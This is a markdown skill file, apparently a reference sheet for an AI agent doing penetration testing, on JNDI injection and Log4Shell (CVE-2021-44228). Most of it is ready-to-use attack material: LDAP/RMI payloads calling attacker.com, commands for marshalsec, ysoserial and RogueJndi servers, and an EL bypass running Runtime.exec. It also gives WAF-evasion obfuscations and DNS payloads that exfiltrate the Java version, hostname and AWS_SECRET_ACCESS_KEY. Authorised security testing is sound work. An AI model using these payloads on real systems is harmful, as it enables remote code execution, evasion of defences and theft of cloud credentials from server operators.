SKILL.md
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// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
2. ATTACK VECTORS
RMI (Remote Method Invocation)
rmi://attacker.com:1099/Exploit
Attacker runs an RMI server returning a Reference object pointing to a remote class:
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit
Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
DNS (detection only)
dns://attacker-dns-server/lookup-name
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
3. JDK VERSION CONSTRAINTS AND BYPASS
JDK Version
RMI Remote Class
LDAP Remote Class
Bypass
< 8u121
YES
YES
Direct class loading
8u121 – 8u190
NO (trustURLCodebase=false)
YES
Use LDAP vector
>= 8u191
NO
NO
Return serialized gadget object via LDAP
>= 8u191 (alternative)
NO
NO
BeanFactory + EL injection
Post-8u191 Bypass: LDAP → Serialized Gadget
Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
Post-8u191 Bypass: BeanFactory + EL
When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
4. TOOLING
marshalsec — JNDI Reference Server
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
JNDI-Injection-Exploit (all-in-one)
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
Rogue JNDI
java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads
5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)
Mechanism
Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup():
${jndi:ldap://attacker.com/x}
Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.
Detection Payloads
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
WAF Bypass Variants
Log4j2's lookup parser is very flexible:
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
Split-Log Bypass (Advanced)
When WAF detects paired ${jndi:...} in a single request, split across two log entries:
# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}
If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers.
Real-World Case: Solr Log4Shell
# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr
Injection Points to Test
User-Agent X-Forwarded-For Referer
Accept-Language X-Api-Version Authorization
Cookie values URL path segments POST body fields
Search queries File upload names Form field names
GraphQL variables SOAP/XML elements JSON values
Affected Versions
- Log4j2 2.0-beta9 through 2.14.1
- Fixed in 2.15.0 (partial), fully fixed in 2.17.0
- Log4j 1.x is NOT affected (different lookup mechanism)
6. OTHER JNDI SINKS (BEYOND LOG4J)
Product / Framework
Sink
Spring Framework
JndiTemplate.lookup()
Apache Solr
Config API, VelocityResponseWriter
Apache Druid
Various config endpoints
VMware vCenter
Multiple endpoints
H2 Database Console
JNDI connection string
Fastjson
@type + JdbcRowSetImpl.setDataSourceName()
7. TESTING METHODOLOGY
Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│ └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│ ├── Start marshalsec LDAP server with remote class
│ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│ ├── LDAP → serialized gadget (need gadget chain on classpath)
│ ├── BeanFactory + EL (need Tomcat on classpath)
│ └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
└── Try obfuscation: ${${lower:j}ndi:...}
8. QUICK REFERENCE
# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}
# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}
# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"